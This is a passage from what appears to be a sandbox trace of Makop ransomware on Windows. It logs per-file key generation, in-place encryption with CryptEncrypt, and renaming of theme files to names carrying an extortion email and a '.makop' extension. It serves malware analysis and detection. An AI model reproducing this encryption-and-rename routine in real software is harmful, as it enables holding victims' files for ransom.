Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0098.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.022] GetProcessHeap () returned 0x48a0000 [0098.022] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0098.022] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.022] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.022] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x5, lpOverlapped=0x0) returned 1 [0098.027] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.028] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.028] GetProcessHeap () returned 0x48a0000 [0098.028] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0098.028] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0098.028] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.028] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0098.028] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.028] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.028] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.029] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.029] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.029] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.029] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.029] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.029] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x67b, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x67b, lpOverlapped=0x0) returned 1 [0098.029] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x680, dwBufLen=0x680 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x680) returned 1 [0098.029] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.029] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x680, lpOverlapped=0x0) returned 1 [0098.030] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.030] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.030] SetEndOfFile (hFile=0x138) returned 1 [0098.036] GetProcessHeap () returned 0x48a0000 [0098.036] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0098.036] GetProcessHeap () returned 0x48a0000 [0098.036] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0098.036] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0098.036] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0098.037] CloseHandle (hObject=0x138) returned 1 [0098.038] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0098.038] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0098.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.040] GetProcessHeap () returned 0x48a0000 [0098.040] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0098.040] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.040] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.040] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0098.045] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.045] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.045] GetProcessHeap () returned 0x48a0000 [0098.045] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0098.045] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0098.045] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.045] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0098.045] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.046] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.046] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.046] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.046] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.047] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.047] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.047] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.047] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xaf32, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xaf32, lpOverlapped=0x0) returned 1 [0098.049] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xaf40, dwBufLen=0xaf40 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xaf40) returned 1 [0098.049] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.050] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xaf40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xaf40, lpOverlapped=0x0) returned 1 [0098.050] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.050] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xb014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.050] SetEndOfFile (hFile=0x138) returned 1 [0098.057] GetProcessHeap () returned 0x48a0000 [0098.057] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0098.057] GetProcessHeap () returned 0x48a0000 [0098.057] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0098.057] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0098.057] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0098.059] CloseHandle (hObject=0x138) returned 1 [0098.060] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0098.060] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0098.060] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0098.060] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL") returned 61 [0098.060] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*") returned 65 [0098.060] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0098.061] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.061] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1 [0098.061] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM") returned 71 [0098.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.063] GetProcessHeap () returned 0x48a0000 [0098.064] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0098.064] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.064] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.064] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.068] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.068] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.068] GetProcessHeap () returned 0x48a0000 [0098.068] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0098.068] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0098.068] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.068] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0098.068] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.068] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.068] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.069] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.069] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.069] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.069] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.069] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.069] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe2ec, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xe2ec, lpOverlapped=0x0) returned 1 [0098.072] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xe2f0, dwBufLen=0xe2f0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xe2f0) returned 1 [0098.072] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.072] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe2f0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xe2f0, lpOverlapped=0x0) returned 1 [0098.073] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.073] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xe3b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.073] SetEndOfFile (hFile=0x138) returned 1 [0098.080] GetProcessHeap () returned 0x48a0000 [0098.080] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0098.080] GetProcessHeap () returned 0x48a0000 [0098.080] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0098.080] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 118 [0098.081] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0098.082] CloseHandle (hObject=0x138) returned 1 [0098.082] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1 [0098.082] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF") returned 71 [0098.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.083] GetProcessHeap () returned 0x48a0000 [0098.083] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0098.083] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.083] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.083] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0098.087] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.087] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.087] GetProcessHeap () returned 0x48a0000 [0098.087] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0098.087] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0098.087] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.087] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0098.087] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.087] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.088] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.088] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.088] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.088] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.088] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.088] 